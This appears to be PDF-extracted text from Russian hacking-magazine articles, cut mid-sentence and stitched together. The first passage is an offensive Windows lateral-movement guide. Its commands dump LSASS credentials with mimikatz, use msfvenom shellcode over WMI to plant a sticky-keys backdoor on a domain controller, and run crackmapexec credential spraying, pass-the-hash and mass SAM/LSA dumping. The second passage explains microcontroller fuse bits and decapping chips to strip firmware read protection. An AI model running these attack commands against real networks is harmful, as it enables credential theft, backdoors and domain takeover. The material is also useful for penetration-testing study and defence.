всю физичес кую память. Анти виру су край не слож но обна ружить про цесс дам‐ 
па  физичес кой  памяти,  так  как  он  выпол няет ся  не  через  WinAPI‐вызовы,
а через пря мое чте ние памяти из режима ядра.

lsass.exe

winpmem.exe

Про ана лизи ровать дамп памяти мы смо жем с помощью отладчи ка WinDbg
и спе циаль ного модуля для него от авто ра mimikatz:

windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz

Так же у всем извес тно го фрей мвор ка для форен зики   для этой цели
сущес тву ет  :

Volatility
спе циаль ный модуль

volatility ‐‐plugins=/path/to/volatility_plugins/FrancescoPicasso ‐f 
pmem.img mimikatz

Ап парат ная изо ляция про цес са lsalso.exe
В  сов ремен ных  вер сиях  Windows  нас  может  ждать  неп рият ный  сюр приз
в  виде   —  про цес са,  защищен ного  тех нологи ей  вир туали зации.
Сущес тву ют, конеч но, тех ники, свя зан ные с регис тра цией про вай дера LSASS:

lsalso.exe

mimikatz.exe misc:memssp

Но  тут  при дет ся  ждать,  пока  админ  выпол нит  пов торный  логон.  Вве ден ные
учет ные дан ные будут записа ны в  .c:\windows\system32\mimilsa.log

Но  так  ли  нам  нужен  пароль  это го  адми нис тра тора  домена?  Подума ем
хорошень ко:  мы  заш ли  на  сер вер  под  одной  учет ной  записью  и  хотим
получить  пароль  от  дру гой.  В  пре делах  текуще го  ПК  и  наша,  и  админ ская
учет ки  находят ся  на  рав ных  уров нях —  мы  оба  локаль ные  адми нис тра торы
это го  ПК.  Это  зна чит,  что  мы  можем  вза имо дей ство вать  как  с  домаш ним
катало гом нуж ной нам учет ки, так и с памятью его про цес сов.

Го воря  более  кон крет но,  мы  име ем  пол ное  пра во  писать  код  в  память
про цес сов,  работа ющих  от  име ни  домен ного  адми нис тра тора,  и  запус кать
в  нем  про изволь ные  потоки.  То  есть  мы  можем  прос то  сге нери ровать
шелл‐код  с  про изволь ной  коман дой  и  выпол нить  ее  от  име ни  адми нис тра‐ 
тора домена,  заин жектив ее  в  любой про цесс нуж ного поль зовате ля. И для
это го нам не пот ребу ется даже пароль это го адми на:

msfvenom ‐p windows/exec CMD="wmic /node:10.0.0.10 process call 
create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\
windows\system32\cmd.exe"'" ‐f raw ‐e x86/alpha_mixed ‐o shellcode.
txt exitfunc=thread

Мы сге нери ли шелл‐код, который с помощью WMI выпол нит на кон трол лере
домена  коман ду,  акти виру ющую  .  Желатель но  сде лать  этот
шелл‐код как мож но более безобид ным — в дан ном слу чае он закоди рован
в ASCII‐коман ды, так что будет выг лядеть как прос той тек сто вый файл. Обыч‐ 
но анти виру сы такое не тро гают.

sticky  keys

Те перь  все,  что  нам  нуж но,  —  это  выб рать  про цесс  адми нис тра тора
домена с помощью коман ды  . Час то админ ские про цес сы висят
в  парал лель ной  сес сии  RDP,  иног да  —  забытой.  Поэто му  в  качес тве  цели
мож но  взять,  нап ример,  .  Далее мы  выделя ем  в  нем  нем ного
памяти, записы ваем туда наш шелл‐код и запус каем поток c помощью 

:

qprocess *

explorer.exe
shell‐

code_inject.exe

shellcode_inject.exe PID shellcode.txt

Толь ко  что  мы  внед рили  в  кон текст  адми нис тра тора  домена  код,  который
на  кон трол лере  домена  уда лен но  запус тил  коман ду,  акти виру ющую  бэк дор.
Теперь под клю чим ся к это му домену:

rdesktop dc.company.org

Мы уви дим хорошо зна комую кар тину.

Ре зуль тат внед рения шелл‐кода в админ ский про цесс — акти вация бэк ‐
дора на кон трол лере домена

Дос туп к кон трол леру домена получен. Это зна чит, что мы можем выпол нить
реп ликацию домен ных  учет ных  записей,  вклю чая  сис темную  учет ную  запись

. С ее помощью мож но «нарисо вать» TGT Kerberos‐билет того самого
адми на  и  авто ризо вать ся  от  его  име ни  уже  вто рой  раз,  не  зная  никако го
пароля. Эта тех ника называ ется  .

krbtgt

golden ticket
Под ведем  неболь шой  итог  по  самым  рас простра нен ным  типам  хешей

Windows и областям их исполь зования.

LATERAL MOVEMENT
Так или ина че, для боково го переме щения на вхо де мы можем иметь учет ные
записи в одной из перечис ленных ниже форм:

па ролей откры тым тек стом;•
NTLM‐хешей;•
Kerberos‐билетов.•

О том, как их исполь зовать сра зу на мно жес тве целей, мы погово рим ниже.

Credentials spraying
Са мо по себе боковое переме щение — это, как пра вило, мас совое исполне‐ 
ние кода, то есть запуск одной и той же коман ды на груп пе целей. При этом
оно  час то  выпол няет ся  всле пую,  осо бен но  на  началь ной  ста дии,  ког да  нет
раз ведан ного пути получе ния учет ной записи адми на.

По это му  важ но  уметь  исполнять  код  раз ными  спо соба ми  не  на  одной
машине, а сра зу на груп пе целей. Тут луч ший, на мой взгляд, инс тру мент —

. Эта тул за име ет край не богатый арсе нал фун кций. Она может
быть  исполь зована  так же  для  брут форса  и  мно го  чего  еще,  что  выходит
за рам ки дан ной статьи.

crackmapexec

Син таксис  для  исполь зования  локаль ных  учет ных  записей  выг лядит  сле‐ 
дующим обра зом:

cme smb ‐d . ‐u username ‐p password targets.txt

Для домен ных:

cme smb ‐d domain ‐u username ‐p password targets.txt

При этом любой аргу мент может быть  как зна чени ем,  так и фай лом, содер‐ 
жащим спи сок зна чений. Перед тем как начать мас сово исполнять код, нуж но
опре делить ся, какие учет ные записи на какие ПК име ют дос туп.

Для  какой‐то  кон крет ной  учет ки  мы можем  сде лать  про вер ку  прав  сра зу
на груп пе целей:

cme smb ‐d . ‐u admin ‐p passwd ‐‐shares targets.txt 2>&1 | grep 
Pwn3d

Ча ще  при  боковом  переме щении  име ешь  дело  не  с  одной,  а  с  десят ками,
а то и c сот нями учет ных записей. В новых вер сиях   для это го появи лась
воз можность про вер ки combo‐сочета ний:

cme

cme smb ‐d domain ‐u users.txt ‐p passwords.txt ‐‐no‐bruteforce 
‐‐continue‐on‐success ‐‐shares targets.txt 2>&1 | grep Pwn3d
cme smb ‐d domain ‐u users.txt ‐H hashes.txt ‐‐no‐bruteforce 
‐‐continue‐on‐success ‐‐shares targets.txt 2>&1 | grep Pwn3d

Все учет ные записи, которые к чему‐то подош ли, сох раня ются в базе и дос‐ 
тупны через коман ду  . Коман ду мож но исполь зовать с целью получе ния
информа ции для SMB:

cmedb

cmedb> proto smb

Спи сок сох ранен ных учет ных записей:

cmedb> creds

Спи сок хос тов, на которые были попыт ки вхо да:

cmedb> hosts

Сох ранен ные  таким  обра зом  учет ные  записи  в  даль нейшем мож но  исполь‐ 
зовать в   по ID:cme

cme smb ‐id 7 ‐‐shares targets.txt

Массовое исполнение кода
В  какой‐то момент  нам может  пот ребовать ся  тупо  запус кать  какую‐то  прог‐ 
рамму  на  груп пе  целей.  И  если  для  точеч ного  запус ка  команд  мы  исполь‐ 
зовали  вся кие  ,  то  для мас сового  при бег нем  к  . Для  выпол нения
прос той коман ды мож но вос поль зовать ся сле дующей дирек тивой:

psexec cme

cme smb ‐d . ‐u admin ‐p s3cr3t ‐x 'ipconfig' targets.txt

Для выпол нения коман дле тов PowerShell:

cme smb ‐d . ‐u admin ‐p s3cr3t ‐X 'Get‐Service' targets.txt

Ис полне ние команд раз ными спо соба ми:

cme smb ‐‐exec‐method smbexec ‐d . ‐u admin ‐p s3cr3t ‐x ipconfig 
targets.txt
cme smb ‐‐exec‐method wmiexec ‐d . ‐u admin ‐p s3cr3t ‐x ipconfig 
targets.txt
cme smb ‐‐exec‐method atexec ‐d . ‐u admin ‐p s3cr3t ‐x ipconfig 
targets.txt
cme winrm ‐d . ‐u admin ‐p s3cr3t ‐x ipconfig targets.txt
Используем технику Pass‐the‐Hash на группе целей:
cme smb ‐d . ‐u admin ‐H aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0 ‐x 'ipconfig' targets.txt

Ис поль зуем тех нику Pass‐the‐Ticket на груп пе целей:

KRB5CCNAME=$(pwd)/tgt.ccache cme smb ‐k ‐u admin ‐x 'ipconfig' 
targets.txt

Так же   поз воля ет пол ностью авто мати зиро вать про цесс сбо ра локаль ных
учет ных записей и кеша домен ных:

cme

cme smb ‐d . ‐u users.txt ‐H hashes.txt ‐‐no‐bruteforce 
‐‐continue‐on‐success ‐‐sam targets.txt
cme smb ‐d . ‐u users.txt ‐H hashes.txt ‐‐no‐bruteforce 
‐‐continue‐on‐success ‐‐lsa targets.txt

Эта  коман да  авто мати зиру ет  прак тичес ки  все  опи сан ные  выше дей ствия —
соберет  все,  что  мож но,  исполь зуя  каж дую  из  учет ных  записей.  Так же

 име ет допол нитель ные модули, рас ширя ющие его и без того
богатую фун кци ональ ность.  В  час тнос ти,  име ется  модуль mimikatz  для  мас‐ 
сового извле чения домен ных уче ток активных сес сий:

crackmapexec

cme smb ‐M mimikatz ‐id 8 targets.txt

Од нако запус кать его в реаль ной сре де я бы не рекомен довал из‐за высоко‐ 
го рис ка обна руже ния анти виру сом.

ЗАКЛЮЧЕНИЕ
Windows име ет очень мно го раз ных осо бен ностей, поз воля ющих нам «переп‐ 
рыгивать»  с  одно го  хос та  на дру гой. Мно гие из  этих  трю ков,  такие  как PTH,
вооб ще говоря, явля ются уяз вимос тями, но Microsoft не  хочет их зак рывать.
Так  они  перехо дят  в  раз ряд  «фич»,  которые  нав сегда  оста нут ся  в  нашем
арсе нале.

Как  бы  абсур дно  это  ни  проз вучало,  отказ  от  Active Directory  улуч шил бы
защищен ность мно гих внут ренних сетей. На моей прак тике был показа тель‐ 
ный слу чай, ког да за пол тора дня была зах вачена огромная внут ренняя сеть
в 140 тысяч ПК, но в то же вре мя за пять дней не под далась кро шеч ная ком‐ 
пания в десять человек, не исполь зующая Active Directory.

Слож но  себе  пред ста вить  сеть  ком пании,  которая  сдер жала  бы  натиск
всех  опи сан ных  при емов.  Слиш ком  мно гое  может  ока зать ся  неоче вид ным
для  адми нис тра торов,  и  тог да  одна  ошиб ка  при водит  к  кра ху  всей
инфраструк туры.

В сетях с Active Directory мы име ем эко сис тему с еди ным цен тром — кон‐ 
трол лером домена. И для его ком про мета ции необя затель но ата ковать сеть
пря мо в лоб. Как пра вило, к ком про мета ции домена при водят не уяз вимос ти
в ПО, а прос тые недоче ты — избы точ ное количес тво админ ских уче ток либо
их чрез мерное исполь зование налево и нап раво, исполь зование оди нако вых
паролей локаль ных учет ных записей или же прос то сла бые пароли.

Рас смот ренные  методы  сос тавля ют  при мер но  10%  угроз  внут ренней
инфраструк туры  и  лишь  одну  десятую  обыч ного  арсе нала  хакера.  Ведь
сущес тву ют еще уяз вимос ти ПО и ата ки на ЛВС. Active Directory вмес те с Win‐
dows,  имея  мно жес тво  неоче вид ных  изъ янов  в  безопас ности,  соз дает
для  ата кующе го  край не  удоб ную  сре ду  для  прод вижения,  в  которой  каж дый
хост находит ся в довери тель ных отно шени ях с сосед ними узла ми сети. Пос ле
успешно го взло ма одно го такого хос та начина ется цеп ная реак ция взло мов,
которая  доходит  до  админ ских  ПК  и  сер веров,  а  потом  уже  и  до  АСУ  ТП
или SWIFT. И чем боль ше сеть, тем слож нее соб людать порядок, тем боль ше
веро ятность встре тить misconfiguration и тем выше будет цена такой ошиб ки.

https://github.com/volatilityfoundation/volatility
https://github.com/volatilityfoundation/community/tree/master/FrancescoPicasso
https://xakep.ru/2020/09/08/windows-pivoting/
https://github.com/s0i37/shellcode_inject
https://pentestlab.blog/2018/04/09/golden-ticket/
https://github.com/byt3bl33d3r/CrackMapExec
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Ес ли  ты  занимал ся  мик рокон трол лерами,  то,  конеч но,  слы‐ 
шал  о  битах  кон фигура ции.  Для  раз ных  семей ств  они
называ ются  по‐раз ному:  в  AVR  это  фьюзы,  а  в  PIC —  кон‐ 
фигура цион ное  сло во.  Сегод ня  мы  раз берем ся  с  ними
попод робнее, а еще рас смот рим их при мене ние для защиты
про шив ки в кон трол лере. И это не был бы «Хакер», если бы
мы не показа ли спо собы обхо да такой защиты. Поеха ли!

INFO

Ре комен дую озна комить ся с 
, в которой более под робно опи саны мик рокон‐ 

трол леры, о которых говорит ся ниже.

мо ей прош лой стать‐ 
ей

AVR
В семей стве AVR для нас трой ки при меня ются фьюзы. Фьюзы (от англ. fuse —
пре дох ранитель) — это осо бые биты в мик рокон трол лере, которые, как и все
биты, хра нят информа цию. Их основные осо бен ности сле дующие:

они хра нят ся и про шива ются отдель но от осталь ной памяти;•
из меня ются толь ко извне;•
уп равля ют работой мик рокон трол лера на самом низ ком уров не.•

Луч ше все го их мож но объ яснить на при мере дозимет ра РКСБ‐104.

До зиметр РКСБ‐104

Ос новная  нас трой ка  его  выпол нялась  одним  перек лючате лем  на  перед ней
панели.  А  вот  более  тон кие  нас трой ки  тре бова ли  снять  защит ную  крыш ку
с  зад ней  стен ки  и  вос поль зовать ся  малень кими  перек лючате лями  (белые
посере дине).

Зад няя панель со сня той крыш кой

В  AVR  эти  биты  для  удобс тва  соеди няют ся  в  бай ты:  стар ший,  млад ший,
защит ный и допол нитель ный. К каж дому биту мож но получить дос туп по прин‐ 
ципу  байт →  бит. Млад ший  байт  обыч но  отве чает  за  так тирова ние,  а  стар‐ 
ший — за плюш ки. Биты отли чают ся от чипа к чипу, поэто му с каж дым чипом
в иде але сто ит раз бирать ся отдель но с помощью докумен тации.

Зна чение битов в этом семей стве инверти рова но: 1 зна чит, что бит стерт,
а 0 — что уста нов лен. Но вот прог раммы для про шив ки МК работа ют по‐раз‐ 
ному. Для раз ных прог рамм нуж но уточ нять логику работы с фьюза ми.

Что могут фьюзы в этом семей стве МК:
уп равле ние так тирова нием (час тота генера тора, внеш ний или внут ренний
генера тор);

•

раз решение  на  чте ние  про шив ки  мик рокон трол лера  (самое  инте рес ное,
но об этом поз же);

•

уп равле ние тай мерами;•
за щита EEPROM;•
бо лее спе цифич ные фун кции, их надо уточ нять к кон крет ному чипу.•

Са мые «популяр ные» биты:
 — их четыре, и они отве чают за так тирова ние;• CKSEL

 — их два, и они управля ют режимом запус ка так тирова ния;• SUT

 — кон фигури рует внут ренний генера тор;• CKOPT

 — режим работы нож ки RESET МК;• RSTDISBL

 — раз решение SPI;• SPIEN

 — защита EEPROM;• EESAVE

 — адрес, отку да начать исполнять код;• BOOTRST

 — кон троль питания;• BODEN

 — раз решение записи в память изнутри;• SELFPRGEN

 — вот он, бит, раз реша ющий чте ние про шив ки.• OCDEN

Счи тыва ют фьюзы обыч но не вруч ную, а с помощью спе циаль ных каль кулято‐ 
ров. Вот один из них —  .Fusecalc

Софт
WARNING

При работе с фьюза ми будь пре дель но вни мате‐ 
лен. Неп равиль но выс тавлен ный бит может прев‐ 
ратить чип в «кир пич». Перед про шив кой уточ няй
логику работы с фьюза ми в тво ей прог рамме.

Linux
Я обыч но  работал  с  прог раммой  avrdude. При веду  пару  команд без  допол‐ 
нитель ных  парамет ров  (чип,  прог рамма тор).  Счи тыва ние  про шив ки  из  чипа
в файл:

$ avrdude ‐U flash:r:flash_dump.hex:i 

Счи тыва ние энер гонеза виси мой памяти в файл:

$ avrdude ‐U eeprom:r:eeprom_dump.raw:r 

За пись про шив ки из фай ла в чип:

$ avrdude ‐U flash:w:flash_dump.hex 

За пись энер гонеза виси мой памяти из фай ла:

$ avrdude ‐U eeprom:w:eeprom_dump.raw 

За пись фьюзов ( ;  ):0xc3 ‐> lfuse 0x99 ‐> hfuse

$ avrdude ‐U lfuse:w:0xc3:m ‐U hfuse:w:0x99:m 

Чте ние фьюзов в фай лы:

$ avrdude ‐U hfuse:r:hfuse.txt:h ‐U lfuse:r:lfuse.txt:h 

Есть допол нитель ные парамет ры   и  . Пер вый отве чает за прог рамма тор,
а  вто рой — за  чип. В  качес тве при мера — коман да для про шив ки  кон трол‐ 
лера ATmega328p с помощью USBASP:

‐с ‐p

$ avrdude ‐U flash:w:flash_dump.hex ‐c usbasp ‐p m328p 

В коман дах есть стран ные стро ки вида  . Это стро ки
в  спе циаль ном  фор мате  для  .  Для  чего  такое  решение —  не  знаю
ни я, ни кто‐либо еще.

flash:w:flash_dump.hex
avrdude

Час ти этих строк раз делены дво ето чиями:
пер вая часть — область памяти в МК (нап ример,   или  );• flash lfuse

вто рая — нап равле ние (  — write или   — read);• w r

третья — файл на локаль ном устрой стве (нап ример, файл с про шив кой);•
пос ледняя (опци ональ ная) — фор мат фай ла (нап ример,   — raw или   —
ihex, инте лов ский шес тнад цатерич ный).

• r i

Бо лее спе цифич ные слу чаи при мене ния  этой стро ки  выходят  за рам ки дан‐ 
ной статьи.

Windows
Окон щики обыч но поль зуют ся прог рамма ми с GUI. Нап ример,  .AvrDude GUI

Пер вая  вклад ка  пред назна чена  для  заг рузки  про шив ки. Мы  видим  и можем
выб рать целевое устрой ство, фор мат фай лов про шив ки и пути к самим фай‐ 
лам. Один пред назна чен для прог раммы, дру гой — для энер гонеза виси мой
памяти.

Вто рая  вклад ка  кон фигури рует  прог рамма тор:  какая  исполь зует ся  модель
и на каком пор те она сидит.

Вклад ка управле ния защит ными битами.

А вот наконец и фьюзы. Зада ются они как бай ты.
Как видишь, все прос то, и исполь зовать фьюзы мож но, даже не откры вая

тер минал!

INFO

На  Arduino  мож но  кон фигури ровать  МК,
не задумы ваясь о работе фьюзов. Этим занима‐ 
ется   в авто мати чес ком режиме.Arduino IDE

Продолжение статьи →

mailto:vova.mischenko@icloud.com
https://xakep.ru/2020/07/15/howto-mcu/
http://homes-smart.ru/fusecalc/
https://sourceforge.net/projects/avrdudegui/
https://www.arduino.cc/en/software
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STM
В семей стве STM для задания кон фигура ции исполь зуют ся биты в спе циаль‐ 
ных  регис трах.  Информа цию  об  этих  регис трах  и  их  наз начении  ищи
в докумен тации. Менять зна чения этих регис тров мож но и нуж но на ходу, но,
в отли чие от AVR, кон фигури рует ся тут не толь ко самое низ коуров невое (так‐ 
тирова ние, нап ример), но и вся кая мел кая перифе рия.

Нас тра ивать  надо  мно го,  даже  если  про ект  в  духе  Hello  world,  поэто му
обыч но это дела ется не руч ной записью регис тров, а с помощью кра сиво го
и мощ ного соф та.

Софт
 — это офи циаль ное и бес плат ное прог рам мное обес печение,

соз данное в ком пании STMicroelectronics. У нее есть и дру гая и тоже бес плат‐ 
ная IDE для сво их МК —  . Но нач нем мы с «Кубика».

STM32CubeMX

Atollic TrueSTUDIO

CubeMX

Ра зоб рать ся с ним прос то: соз даешь про ект, выбира ешь кон трол лер – и пог‐ 
нали.  Пор ты  нас тра ивают ся  пря мо  на  инте рак тивной  кар тинке,  а  перифе‐ 
рия — с помощью меню сле ва. Боль шинс тво опций под писано: не надо боль‐ 
ше лазить в даташит и раз бирать ся с битами регис тров. А в кон це нажима ешь
соот ветс тву ющую  кноп ку  —  и  прог рамма  генери рует  код  на  язы ке  прог‐ 
рамми рова ния в виде под клю чаемо го фай ла.

Atollic TrueSTUDIO — это еще одна наворо чен ная IDE для мик рокон трол леров
STM. В ней мож но и код писать, и отла живать. А еще она хорошо сты кует ся
с «Кубом».

WWW

Есть еще   и,  конеч‐ 
но,   с ее неис числи мыми модуля ми.

System Workbench  for STM32
Arduino IDE

Посторонним вход запрещен!
Ес ли ты не хочешь исполь зовать софт про изво дите ля МК, мож но все сде лать
руками.  Бла го  это  отно ситель но  нет рудно.  При веду  при мер  кода  из  одно го
сво его про екта.

 void init_uart()
{
       UART1_CR2 |= UART_CR2_TEN; // Transmitter enable
     UART1_CR2 |= UART_CR2_REN;
     UART1_CR2 |= UART_CR2_RIEN;
         UART1_CR3 &= ~(UART_CR3_STOP1 | UART_CR3_STOP2);
         UART1_BRR2 = (F_CPU/UART_BAUD) & 0x000F;
         UART1_BRR2 |= (F_CPU/UART_BAUD) >> 12;
             UART1_BRR1 = ((F_CPU/UART_BAUD) >> 4) & 0x00FF;
}

Эта фун кция  отве чает  за  кон фигура цию UART.  Как  видишь, мож но  обой тись
и без вся ких кубов (хотя на самом деле CubeMX на мой ноут прос то не уста‐ 
новил ся из‐за сла бых харак терис тик).

Библиотеки
Про шив ки  для  STM,  как  пра вило,  пишут ся  с  помощью  спе циаль ных  биб‐ 
лиотек. Есть как офи циаль ные,  так и кас томные  (HAL и SPL). Про ще говоря,
это стан дар тный набор биб лиотек. Мож но, конеч но, и без них — мне так даже
боль ше нра вит ся: луч ше понима ешь, как работа ет твой код.

При веду коман ды для ком пиляции и про шив ки STM8 из упо мяну того про‐ 
екта.

sdcc             $  ‐‐Werror ‐‐std‐sdcc99 ‐mstm8 ‐DSTM8S103 ‐lstm8 ‐mstm8
‐‐out‐fmt‐ihx ../devctrl.c 
$ stm8flash ‐c stlinkv2 ‐p stm8s103f3 ‐w devctrl.ihx 

Здесь мы видим две прог раммы —   для про шив ки и    для  ком‐ 
пиляции. Может, кому‐то при годит ся.

stm8flash sdcc

 — это прог рамма  . По наз начению — тот же AvrDude,
толь ко  для  STM8.  Я  исполь зовал  три  аргу мен та:    для  ука зания  прог‐ 
рамма тора,  в  моем  слу чае    (прог рамма тор  ST‐Link,  под‐ 
робнее — в моей прош лой статье);   для ука зания целево го чипа (у меня
это  была  плат ка  с  AliExpess  с  чипом  STM8S103F3);    для  нап равле ния
работы (write, записать) и файл с про шив кой.

• stm8flash c GitHub
­с

st­linkv2

­p

­w

  ( )  —  ком пилятор  язы ка  C  для  «малень ких»
устрой ств, то есть для мик рокон трол леров. Это ана лог GCC, но для МК.

• sdcc small  device  C  compiler

 — счи тать все пре дуп режде ния ошиб ками. Стран но, навер ное,
ведь  обыч но  прог раммис ты  забива ют  на  пре дуп режде ния,  а  тут  такое.
Еще  есть    —  это  стан дарт  язы ка.  Я  исполь зовал  этот,
потому что он оши бок не выдавал.

• --Werror

­­std­sdcc99

WARNING

При  низ коуров невом  прог рамми рова нии  стан‐ 
дарты  язы ка  С  очень  сущес твен ны  и  код  может
прек расно  ком пилиро вать ся  на  одном  и  либо
вооб ще не ском пилиро вать ся, либо работать неп‐ 
равиль но  на  дру гом  стан дарте.  В  этом  воп росе
отталки вай ся от учеб ников, по которым ты учил ся
прог рамми ровать.  Как  пра вило,  во  вступ лении
написа но,  какой  стан дарт  будет  рас смот рен
в кни ге.

Ос таль ные аргу мен ты,  кро ме фай ла  кода, — это для  какого МК  ком пилиро‐ 
вать код.

PIC
Тут  уже вмес то фьюзов исполь зует ся осо бое  кон фигура цион ное сло во дли‐ 
ной  два  бай та.  Это  сло во  име ет  адрес  в  памяти,  который  нуж но  уточ нять
в  докумен тации.  Там  же  мож но  най ти  струк туру  это го  сло ва  и  наз начение
битов.  Кста ти,  логика  битов  в  этом  семей стве  сме шан ная.  Еди ница  может
зна чить как и «вклю чено», так и «вык лючено». Пов торюсь, вни матель но читай
докумен тацию.

При веду вырез ку из  .до кумен тации на чип PIC16F627A

Вы рез ка из докумен тации

Тут мы видим, нап ример, такие нас трой ки:
CP — защита flash‐памяти, то есть про шив ки;•
CPD — защита области с дан ными;•
LVP — низ коволь тная про шив ка.•

Ра бота ет  кон фигура цион ное  сло во  как  ста тичес кая  гло баль ная  перемен ная
в  язы ке  С.  Есть  учас ток  кода,  который  при  про шив ке  записы вает ся  пря мо
на область памяти, отве чающей за кон фигура цию мик рокон трол лера. Менять
его на ходу, конеч но, нель зя. Работа схо жа с AVR‐кон трол лерами.

Софт
Софт я уже опи сывал в  , поэто му покажу лишь осо бен‐ 
ности при кон фигури рова нии этих самых кон трол леров.

мо ей прош лой статье

Изоб ражение взя то из этой статьи: https://habr.com/ru/post/321542/

Тут  исполь зует ся  язык  ассем бле ра,  и  мы  видим  строч ку  .
Воз можно, это мак рос или что‐то подоб ное, но нам важен смысл — это чис ло
записы вает ся как кон фигура цион ное сло во и кодиру ет в себе нас трой ки МК,
в ком мента риях к коду они даже под писаны.

__CONFIG  03FF4H

И вот  еще один при мер  кода. Он  уже из    (кста ти,  нас‐ 
тоятель но рекомен дую с ней озна комить ся).

статьи  на  «Хаб ре»

‐‐ This program assumes a 20 MHz resonator or crystal 
‐‐ is connected to pins OSC1 and OSC2. 
pragma target clock 20_000_000 ‐‐ oscillator frequency 

fuses‐‐ configuration memory settings ( )
pragma target OSC HS ‐‐ HS crystal or resonator 
pragma target WDT disabled ‐‐ no watchdog 
pragma target LVP disabled ‐‐ no Low Voltage Programming 
pragma target MCLR external ‐‐ reset externally 

Он написан  на  язы ке  JAL,  который был  соз дан  спе циаль но  для  прог рамми‐ 
рова ния это го семей ства МК. Этот  код явно  читабель нее ассем бле ра. Чего
уж  говорить  —  поч ти  все  читабель нее  ассем бле ра!  Хотя  PIC  тра дици онно
прог рамми руют ся имен но на нем.

WWW

IDE для PIC   и  .MPLAB JAL

ЗАЩИТА И ВЗЛОМ
Те орию мы разоб рали. Теперь погово рим о защите. Как  ты понял,  у семей‐ 
ства  AVR  защитой  слу жит  зна чение  фьюза  бита.  Если  защита  уста нов лена,
кон трол лер не даст ска чать про шив ку. А если сбро сить биты защиты, это же
воз можно? Воз можно, но и тут тебя ждет  боль шая свинья: при сбро се бита
защиты МК чис тит всю память.

не

Что же, через софт не получи лось — пой дем через железо. Элек тро ника
не прог рамми рова ние — тут есть что пощупать. Итак, обра тим ся к исто рии:
ког да‐то дав но сущес тво вали чипы памяти с УФ‐сти рани ем.

Чип M27c256B — память с УФ‐сти рани ем

На кор пусе чипа было спе циаль ное окош ко, которое обыч но чем‐нибудь зак‐ 
леива лось.  Записы ваешь  дан ные  при  прог рамми рова нии  встро енны ми
средс тва ми,  а  вот  сти раешь с  помощью спе циаль ного  устрой ства,  по  конс‐ 
трук ции схо жего с лам пой для ноготоч ков.

Лам па для когот ков

От кры ваешь  окош ко,  кла дешь  в  при бор  мик росхе му  —  и  через  некото рое
вре мя  забира ешь  чис тый  чип.  С  лам пой‐то  все  понят но  —  мож но  у  жены
одол жить.  Глав ное,  что бы  не  замети ла,  а  то  потом  не  объ яснишь,  что  тебе
лам па нуж на через окош ко память сти рать.

А вот с окош ком что делать? На сов ремен ных  чипах его нет. Если дыр ки
нет  —  надо  ее  сде лать!  Я  знаю  три  метода:  механи чес кий,  химичес кий
и лазер ный.
1. При механи чес ком методе,  как выразил ся поль ский бло гер,  szlifierka pre‐
cyzyjna —  пре цизи онной  шлиф машин кой,  то  есть  дре мелем,  надо  твер‐ 
дос плав ной насад кой прог рызть дыроч ку в кор пусе.

2. При химичес ком методе при меня ется смесь кис лот (цар ская вод ка, если я
не оши баюсь), и ей прот равли вает ся все то же отвер стие. Но раз добыть
азот ную кис лоту проб лематич но: ее обо рот под кон тро лем, пос коль ку она
исполь зует ся при про изводс тве взры воопас ных веществ, так что при дет ся
поис кать  дру гой  спо соб.  Если,  конеч но,  у  тебя  не  заваля лась  баноч ка
азот ной кис лоты.

3. Пос ледний  метод  исполь зует  лазер.  Им  прос то  про жига ется  окош ко.
Лазер  мож но  най ти  на  ЧПУ‐гра верах,  но  хва тит  ли  их  мощ ности  —  я
не знаю.

Ко роче, будем счи тать, что окош ко к под ложке чипа ты про делал.

По лучит ся что‐то похожее

Даль ше нуж но понять, где область, которую надо защитить, а где — которую
сте реть. По сути, нам надо облу чить все, кро ме Flash и EEPROM. Опре делять,
где что, тебе при дет ся инту итив но. Мож но пос мотреть каналы   и 

 — там есть вскры тие и изу чение чипов. Мож но пос мотреть на типич‐ 
ные ошиб ки и тех нологию вскры тия чипов.

Lisin YT Curi‐
ousMarc

Итак, что защитить, мы разоб рались, даль ше защища ем чем‐нибудь све‐ 
торе зис тивным.  Нап ример,  свя той  синей  изо лен той.  Ну  а  пос ле  суем  чип
в сти ратель и ждем нем ного.

INFO

Ес ли что, про лам пу для ног тей — это шут ка. Нуж‐ 
на  лам па  с  опре делен ной  дли ной  вол ны  и  мощ‐ 
ностью.

Все,  исхо да  два:  либо  все  сде лано  пра виль но  и  акку рат но  и  защита  сня та,
либо что‐то пош ло не так и тебе при дет ся искать, что имен но.

PIC и STM
У кон трол леров PIC все так же, как и у AVR. Усло вия те же, метод тот же.

У STM все нес коль ко инте рес нее. О методах защиты написа но в 
.  Если  вкрат це,  они  не  зап реща ют  счи тывать  чип,  а  соз дают  усло вия,

что бы сде лать это было невоз можно.

до кумен‐ 
тации

Но, собирая информа цию для этой статьи, я нат кнул ся на стра ницу с инте‐ 
рес ным наз вани ем — «

».  Смысл  это го  метода  в  прог‐ 
рам мной ата ке на про шив ку. Этот метод бли же к темати ке жур нала и даль ше
от вашего покор ного слу ги, авто ра статьи.

Счи тыва ние  защищен ной  про шив ки  из флеш‐памяти
STM32F1xx  с  исполь зовани ем  ChipWhisperer

ВМЕСТО НАПУТСТВИЯ
Преж де чем ты побежишь красть про шив ки, пре дуп режу: даже если ты ее ска‐ 
чаешь,  она  будет  в  виде  бинар ного  кода,  который  еще  надо  дизас сем бли‐ 
ровать, изу чить и вос ста новить логику работы, а это ой как неп росто. Поэто‐ 
му, на мой взгляд, лег че взло мать компь ютер прог раммис та,  который писал
про шив ку, и ска чать исходни ки с него. Но это уже тема не моей статьи! :)

https://www.st.com/en/development-tools/stm32cubemx.html
https://atollic.com/truestudio/
https://www.st.com/en/development-tools/sw4stm32.html
https://www.arduino.cc/en/software
https://github.com/vdudouyt/stm8flash
http://sdcc.sourceforge.net/
https://github.com/vdudouyt/stm8flash
http://sdcc.sourceforge.net/
http://ww1.microchip.com/downloads/en/devicedoc/40044f.pdf
https://xakep.ru/2020/07/15/howto-mcu
https://habr.com/ru/post/97795/
https://www.microchip.com/mplab/mplab-x-ide
http://justanotherlanguage.org/
https://www.youtube.com/channel/UCwxfGHk3MDggNdpskCEm5cg
https://www.youtube.com/c/CuriousMarc/featured
https://www.st.com/resource/en/programming_manual/cd00283419-stm32f10xxx-flash-memory-microcontrollers-stmicroelectronics.pdf
https://habr.com/ru/company/ntc-vulkan/blog/483732/
